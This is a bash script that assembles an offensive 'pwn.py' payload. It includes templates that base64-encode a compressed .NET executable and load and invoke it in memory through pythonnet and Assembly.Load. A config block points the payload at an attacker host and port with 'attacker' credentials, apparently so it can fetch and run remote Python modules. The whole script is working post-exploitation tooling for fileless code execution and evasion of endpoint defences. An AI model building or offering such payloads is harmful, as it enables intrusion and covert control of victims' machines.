#!/usr/bin/env bash

: << 'COMPRESS_AND_BASE64'
import zlib
from base64 import b64encode
with open('Program.exe', 'rb') as f:
	print(b64encode(zlib.compress(f.read(), level=9)).decode())  # <ASSEMBLY_BYTES_BASE64>
COMPRESS_AND_BASE64

: << 'CLR_INVOCATION_TEMPLATE'
import clr
import zlib
import base64

clr.AddReference('System')
from System import *
from System.Reflection import *

b64 = base64.b64encode(zlib.decompress(base64.b64decode(b'<ASSEMBLY_BYTES_BASE64>'))).decode()
raw = Convert.FromBase64String(b64)

assembly = Assembly.Load(raw)
type = assembly.GetType('Namespace.Type')
type.GetMethod('Method').Invoke(Activator.CreateInstance(type), None)
CLR_INVOCATION_TEMPLATE

cat << EOT > pwn.py
PYRAMID_HOST = '10.10.13.37'
PYRAMID_PORT = '443'
PYRAMID_USERNAME = 'attacker'
PYRAMID_PASSWORD = 'Passw0rd1!'
PYRAMID_TO_UNPACK = ('pythonnet',)
PYRAMID_TO_IMPORT = (
	'cffi',
	'pycparser',)
EOT

cat {cfinder,clr}.py >> pwn.py
